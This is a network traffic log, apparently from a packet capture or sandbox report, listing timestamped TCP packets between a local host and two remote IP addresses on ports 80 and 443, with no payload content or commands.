Nov 20, 2024 04:08:11.373037100 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.373044014 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373056889 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373058081 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.373076916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373089075 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373100996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373111010 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.373112917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373127937 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373132944 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.373140097 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373169899 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.373191118 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.373245955 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373301983 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.373307943 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373322964 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373354912 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373373032 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373373985 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.373383999 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373394966 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.373399019 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373421907 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373441935 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.373478889 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.373478889 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.373528957 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373552084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373584032 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373585939 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.373625040 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.373625994 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.373637915 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373651028 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373662949 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373691082 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.373724937 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373740911 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373753071 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.373789072 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.373809099 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.374430895 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.374449015 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.374461889 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.374474049 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.374488115 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.374490976 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.374511957 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.374519110 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.374526024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.374566078 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.374597073 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.374960899 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.374994993 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375006914 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375024080 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.375056028 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.375067949 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375081062 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375092030 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375103951 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375119925 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375121117 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.375133991 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375144958 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375152111 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.375178099 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.375214100 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375221014 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.375227928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375245094 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375257969 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375277042 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375284910 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.375289917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375298977 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375307083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375332117 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.375354052 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.375371933 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.375397921 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375408888 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375422001 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375433922 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375451088 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.375453949 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375468016 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375477076 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.375482082 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375499010 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375519037 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375529051 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375533104 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.375541925 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375555992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375569105 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375569105 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.375579119 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375586987 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.375607014 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.375633955 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375643969 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.375648022 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375667095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375674963 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375682116 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375688076 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375689030 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.375730038 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.375745058 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.375768900 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.375808954 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.394633055 CET	443	62443	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.394973993 CET	443	62443	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.395124912 CET	62443	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.395124912 CET	62443	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.395155907 CET	62443	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.395176888 CET	443	62443	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.398575068 CET	62448	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.398622036 CET	443	62448	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.398705006 CET	62448	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.398916006 CET	62448	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.398932934 CET	443	62448	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.412920952 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.412983894 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.412992954 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.413002968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.413007975 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.413012981 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.413026094 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.413036108 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.413139105 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.413139105 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.413140059 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.413140059 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.423657894 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.423674107 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.423691988 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.423702955 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.423712969 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.423722982 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.423732996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.423743010 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.423753977 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.423765898 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.423775911 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.423785925 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.423798084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.423808098 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.423820019 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.423830032 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.423845053 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.423849106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.423860073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.423871994 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.423883915 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.423907995 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.423937082 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.461242914 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461257935 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461275101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461287022 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461297989 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461308956 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461318016 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461328983 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461347103 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.461350918 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461364985 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461374044 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461380005 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461389065 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461399078 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.461401939 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461411953 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461424112 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461493015 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.461493015 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.461493969 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.461507082 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461519957 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461530924 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461550951 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461560965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461570024 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.461570978 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461582899 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461590052 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461606026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461616039 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461625099 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461637020 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461646080 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461656094 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.461656094 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.461656094 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.461658955 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461674929 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461692095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461697102 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.461702108 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461714983 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.461721897 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461760998 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.461787939 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.461828947 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461839914 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461849928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461860895 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461872101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461877108 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.461884022 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.461894035 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.461937904 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.462130070 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.462145090 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.462163925 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.462174892 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.462183952 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.462196112 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.462205887 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.462208033 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.462208033 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.462219000 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.462253094 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.462280989 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.462959051 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.462975025 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.462985992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.462997913 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.463015079 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.463017941 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.463032007 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.463042974 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.463049889 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.463058949 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.463095903 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.463113070 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.463785887 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.463797092 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.463814974 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.463826895 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.463839054 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.463845015 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.463852882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.463865042 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.463876963 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.463912964 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.463927031 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.463947058 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.463958979 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.463969946 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.463980913 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.463992119 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464003086 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464009047 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464015961 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464015961 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.464031935 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.464031935 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.464076042 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.464092970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464104891 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464127064 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464134932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.464138985 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464150906 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464164019 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464171886 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.464176893 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464190006 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464201927 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464206934 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.464214087 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464226007 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.464232922 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464251041 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464257002 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.464262962 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464274883 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464276075 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.464287996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464299917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464312077 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.464313030 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464325905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464334011 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464344978 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.464514017 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.464514017 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.464514017 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.501580954 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.501596928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.501609087 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.501620054 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.501626968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.501637936 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.501650095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.501656055 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.501699924 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.501739025 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.512082100 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512109995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512139082 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512157917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512168884 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512181044 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.512181997 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512202978 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512212992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512223959 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512228966 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.512234926 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512252092 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512262106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512268066 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.512273073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512284040 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512290001 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.512295961 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512320042 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512331963 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512331963 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.512341976 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512353897 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512362003 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.512366056 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512378931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512383938 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.512391090 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512402058 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.512402058 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.512418985 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.512454033 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.549561977 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.549587965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.549649954 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.549673080 CET	62430	80	192.168.2.4	31.41.244.11
